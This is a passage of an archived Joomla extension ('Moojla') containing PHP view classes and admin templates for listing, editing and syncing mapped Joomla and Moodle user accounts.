array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'user_mapTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'user_mapTab', 'publishing',
JText::_('COM_MOOJLA_USER_MAP_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('user_map.publishing',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('user_map.publlshing',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'user_mapTab', 'permissions',
JText::_('COM_MOOJLA_USER_MAP_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="user_map.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/user_map/tmpl/index.html000064400000000054151165724420012473
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_map/view.html.php000064400000015420151165724420012153
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * User_map View class
 */
class MoojlaViewUser_map extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('user_map',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_USER_MAP_NEW' :
'COM_MOOJLA_USER_MAP_EDIT'), 'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('user_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('user_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('user_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('user_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('user_map.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.user_map',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('user_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('user_map');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_USER_MAP_NEW' :
'COM_MOOJLA_USER_MAP_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		// Add Ajax Token
		$this->document->addScriptDeclaration("var token =
'".JSession::getFormToken()."';");
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/user_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/user_maps/index.html000064400000000054151165724420011702
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_maps/tmpl/default.php000064400000007422151165724420013024
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=user_maps.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'user_mapList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=user_maps');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="user_mapList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_USER_MAPS_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
<script type="text/javascript">
// user_maps footer script
/***[JCBGUI.admin_view.javascript_views_footer.130.$$$$]***/
jQuery(document).on("click", "a[id^=check_]",
function(e) {
  var obj;
  obj = e;
  console.log(e);
  e.preventDefault();
  jQuery.ajax({
    url:
"index.php?option=com_moojla&view=user_maps&task=user_maps.checkMoodleUser&cid="
+ e.target.get("data"),
    beforeSend: function( xhr ) {
      console.log('beforeSend');
      console.log(xhr);
    }
  }).done(function(e) {
    console.log('done');
    res = JSON.decode(e);
    if(res.warnings.length != 0) {
      console.log(res.warnings[0].message);
      obj.target.parentElement.innerHTML = '<div
style="color:red;">' + res.warnings[0].message +
"</div>";
      console.log(this)
    } else {
      obj.target.parentElement.innerHTML = '<div
style="color:yellow;">Moodle account status is
OK</div>';
    }
  });
  
  
});
/***[/JCBGUI$$$$]***/

</script>
views/user_maps/tmpl/default_batch_body.php000064400000002334151165724420015177
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo
JText::_('COM_MOOJLA_USER_MAPS_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/user_maps/tmpl/default_batch_footer.php000064400000002732151165724420015542
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('user_map.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/user_maps/tmpl/default_body.php000064400000011040151165724420014030
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=user_maps&task=user_map.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('user_map',$item,'user_maps');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
JFactory::getUser((int)$item->jid)->name; ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'user_maps.',
$canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JFactory::getUser((int)$item->jid)->name; ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->mid); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $item->userimage; ?>
		</td>
		<td class="hidden-phone">
			<div><?php
	if($item->mid != 0 && $item->jid != 0)
	{
		echo "<div style='color: green;'>completely
synced</div>";
	}
	else if($item->jid == 0)
	{
		echo "Joomla user not exist<br><div
id='div_{$item->id}'>please select this row and press
'Sync to Joomla'<br>If this not work click <a
id='check_{$item->id}' href='#'
data='$item->mid'>this</a> to identify what's
wrong</div>";
	}
	else
	{
		echo "Moodle user not exist<br>please select this row and
press 'Sync to Moodle'<br>If this not work click <a
href='#'>this</a> to identify what's wrong";
	}
?>
			</div>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_maps.', true, 'cb');
?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_maps.', false, 'cb');
?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_maps.', true, 'cb');
?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'user_maps.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/user_maps/tmpl/default_foot.php000064400000002304151165724420014045
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="8"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/user_maps/tmpl/default_head.php000064400000005233151165724420014003
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_JID_LABEL', 'a.jid',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_MID_LABEL', 'a.mid',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_USER_MAP_USERIMAGE_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_USER_MAP_DEBUG'); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_USER_MAP_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_MAP_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/user_maps/tmpl/default_toolbar.php000064400000007054151165724420014547
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search User_maps'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/user_maps/tmpl/index.html000064400000000054151165724420012656
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_maps/view.html.php000064400000020134151165724420012334
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the User_maps
 */
class MoojlaViewUser_maps extends JViewLegacy
{
	/**
	 * User_maps view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('user_maps');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('user_map');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
